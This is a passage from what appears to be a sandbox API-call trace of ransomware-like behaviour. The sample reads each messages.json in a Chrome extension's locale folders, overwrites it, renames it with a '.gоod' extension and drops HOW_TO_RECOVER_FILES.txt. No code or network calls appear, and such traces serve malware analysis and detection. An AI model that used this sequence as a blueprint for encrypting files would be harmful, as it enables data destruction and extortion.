hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0233.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0233.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0233.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0233.902] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da", lpFilePart=0x0) returned 0x7b [0233.902] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82f8e1f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe830037f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe830037f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0233.902] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82f8e1f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe830037f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe830037f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.902] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe830037f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8300362, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0233.902] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe830037f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8300362, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0233.902] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0233.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0233.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0233.902] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json", lpFilePart=0x0) returned 0x89 [0233.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0233.903] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3982b08 | out: lpFileInformation=0x3982b08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe830037f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8300362, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac)) returned 1 [0233.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0233.903] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json", lpFilePart=0x0) returned 0x89 [0233.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0233.903] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0233.904] GetFileType (hFile=0x834) returned 0x1 [0233.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0233.904] GetFileType (hFile=0x834) returned 0x1 [0233.904] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xac [0233.904] ReadFile (in: hFile=0x834, lpBuffer=0x3982f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3982f70*, lpNumberOfBytesRead=0x209ebc98*=0xac, lpOverlapped=0x0) returned 1 [0233.905] CloseHandle (hObject=0x834) returned 1 [0233.991] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json", lpFilePart=0x0) returned 0x89 [0233.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0233.991] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0233.992] GetFileType (hFile=0x85c) returned 0x1 [0233.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0233.992] GetFileType (hFile=0x85c) returned 0x1 [0233.992] WriteFile (in: hFile=0x85c, lpBuffer=0x380d590*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x380d590*, lpNumberOfBytesWritten=0x209ebba8*=0xb0, lpOverlapped=0x0) returned 1 [0233.993] CloseHandle (hObject=0x85c) returned 1 [0233.993] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json", lpFilePart=0x0) returned 0x89 [0233.993] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0233.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0233.994] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe830037f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8300362, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x87ae857b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0233.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0233.994] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json.gоod")) returned 1 [0233.995] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0233.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0233.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0233.995] GetFileType (hFile=0x85c) returned 0x1 [0233.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0233.995] GetFileType (hFile=0x85c) returned 0x1 [0233.996] WriteFile (in: hFile=0x85c, lpBuffer=0x38116b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x38116b0*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0233.997] CloseHandle (hObject=0x85c) returned 1 [0233.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0233.997] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de", lpFilePart=0x0) returned 0x7b [0235.919] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83114cd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe831ff69, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe831ff69, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0235.920] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83114cd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe831ff69, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe831ff69, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.920] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe831ff69, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8322642, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0235.920] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0235.920] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0235.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0235.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0235.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0235.920] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de", lpFilePart=0x0) returned 0x7b [0235.921] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83114cd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe831ff69, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe831ff69, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0235.921] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83114cd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe831ff69, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe831ff69, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.921] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe831ff69, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8322642, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0235.921] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe831ff69, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8322642, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0235.921] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0235.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0235.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0235.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json", lpFilePart=0x0) returned 0x89 [0235.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0235.922] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x39d5dd8 | out: lpFileInformation=0x39d5dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe831ff69, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8322642, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc1)) returned 1 [0235.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0235.922] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json", lpFilePart=0x0) returned 0x89 [0235.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0235.922] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0235.922] GetFileType (hFile=0x858) returned 0x1 [0235.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0235.922] GetFileType (hFile=0x858) returned 0x1 [0235.922] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xc1 [0235.922] ReadFile (in: hFile=0x858, lpBuffer=0x39d6258, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x39d6258*, lpNumberOfBytesRead=0x209ebc98*=0xc1, lpOverlapped=0x0) returned 1 [0235.923] CloseHandle (hObject=0x858) returned 1 [0235.950] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json", lpFilePart=0x0) returned 0x89 [0235.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0235.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0237.810] GetFileType (hFile=0x828) returned 0x1 [0237.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0237.810] GetFileType (hFile=0x828) returned 0x1 [0237.810] WriteFile (in: hFile=0x828, lpBuffer=0x37c32c0*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x37c32c0*, lpNumberOfBytesWritten=0x209ebba8*=0xd0, lpOverlapped=0x0) returned 1 [0237.811] CloseHandle (hObject=0x828) returned 1 [0237.811] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json", lpFilePart=0x0) returned 0x89 [0237.811] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0237.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0237.811] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe831ff69, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8322642, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x89f6a8ad, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0237.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0237.811] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json" 